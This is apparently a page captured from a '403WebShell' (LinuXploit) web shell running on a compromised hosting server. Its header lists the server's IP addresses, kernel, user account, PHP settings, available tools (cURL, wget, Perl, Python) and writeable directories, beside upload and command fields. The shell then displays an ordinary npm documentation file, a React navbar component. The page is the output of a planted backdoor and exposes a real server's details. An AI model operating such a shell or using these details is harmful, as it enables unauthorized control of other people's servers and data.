Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 13.58.221.124
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-nodejs12/root/usr/lib/node_modules/npm/docs/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/alt-nodejs12/root/usr/lib/node_modules/npm/docs/src/components/navbar.js
import React from 'react'
import styled from 'styled-components'
import {Flex, Image, Box} from 'rebass'
import cliLogo from '../images/cli-logo.svg'
import {Link} from 'gatsby'
import {NavLink, BasicNavLink} from './links'
import MobileSidebar from '../components/MobileSidebar'
import hamburger from '../images/hamburger.svg'
import hamburgerClose from '../images/hamburger-close.svg'

const IS_STATIC = !!process.env.GATSBY_IS_STATIC

const Container = styled(Flex)`
  width: 100%;
  border-bottom: 1px solid #86838333;
  position: sticky;
  top: 0;
  background-color: ${(props) => props.theme.colors.white};
  z-index: 1;
`

const Inner = styled(Flex)`
  border-top: 3px solid;
  border-image: linear-gradient(139deg, #fb8817, #ff4b01, #c12127, #e02aff) 3;
  margin: auto;
  height: 53px;
  padding: 0 30px;
  align-items: center;
  width: 100%;
`

const Logo = styled(Image)`
  width: 120px;
  padding: 0px 5px;
  height: 18px;
  vertical-align: middle;
  display: inline-block;
  transition: opacity .5s;

  &:hover {
    opacity: .8;
  }
`

const Links = styled.ul`
  display: none;

  @media screen and (min-width: ${(props) => props.theme.breakpoints.TABLET}) {
    display: block;
    margin-left: auto;
  }
`

const Heart = styled(Box)`
  font-size: 15px;
  display: inline-block;
`

const Hamburger = styled.button`
  border: none;
  background: center no-repeat url(${(props) => props.isOpen ? hamburgerClose : hamburger});
  height: 30px;
  width: 30px;
  display: block;
  margin-left: auto;
  transition: opacity .5s;
  cursor: pointer;

  &:hover {
    opacity: .6;
  }

  @media screen and (min-width: ${(props) => props.theme.breakpoints.TABLET}) {
    display: none;
  }
`

class Navbar extends React.Component {
  constructor (props) {
    super(props)
    this.state = {
      value: null,
      showMobileNav: false
    }
    this.enableBody = this.enableBody.bind(this)
    this.toggleNav = this.toggleNav.bind(this)
  }

  componentDidMount () {
    window.addEventListener('resize', () => {
      this.enableBody()
      this.setState({showMobileNav: false})
    })
  }

  componentWillUnmount () {
    this.enableBody()
  }

  enableBody () {
    window.document.getElementsByTagName('body')[0].classList.remove('disabled-body')
  }

  toggleNav () {
    this.setState({showMobileNav: !this.state.showMobileNav})
    window.document.getElementsByTagName('body')[0].classList.toggle('disabled-body')
  }

  render () {
    return (
      <React.Fragment>
        <Container>
          <Inner>
            <Link to='/'>
              <Heart ml={1} mr={'24px'}>❤</Heart><Logo src={cliLogo} />
            </Link>
            <Links>
              <NavLink
                to={`cli-commands/npm${IS_STATIC ? '/index.html' : ''}`}
                partiallyActive
                activeClassName='active-navbar-link'
              >
                docs
              </NavLink>
              <BasicNavLink href='https://www.npmjs.com/'>npmjs.org</BasicNavLink>
            </Links>
            <Hamburger isOpen={this.state.showMobileNav} onClick={this.toggleNav} />
          </Inner>
        </Container>
        {this.state.showMobileNav && <MobileSidebar />}
      </React.Fragment>
    )
  }
}

export default Navbar

Youez - 2016 - github.com/yon3zu
LinuXploit